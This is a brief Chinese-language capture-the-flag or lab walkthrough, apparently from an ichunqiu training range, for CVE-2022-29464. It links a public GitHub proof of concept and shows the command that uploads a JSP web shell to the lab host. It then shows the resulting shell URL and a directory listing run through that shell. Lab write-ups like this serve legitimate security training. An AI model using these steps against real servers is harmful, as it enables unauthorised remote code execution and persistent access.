refer to:
https://yunjing.ichunqiu.com/cve/detail/734?type=1&pay=2
思路:
对于首页,啥内容也看不出来。不要登录,方向错了。
对于这样的CVE,别绞尽脑汁了,直接拿POC拿来用就好。
poc:
https://github.com/hakivvi/CVE-2022-29464
用法:
1. 保存对应的 poc文件到本地。
2. 运行:
$ python cve_2022-29464_poc.py http://eci-2ze49cg5g8ojc7gfl6di.cloudeci1.ichunqiu.com:9445 shell.jsp
shell @ http://eci-2ze49cg5g8ojc7gfl6di.cloudeci1.ichunqiu.com:9445/authenticationendpoint/shell.jsp
3. 在浏览器中访问:
ls -al /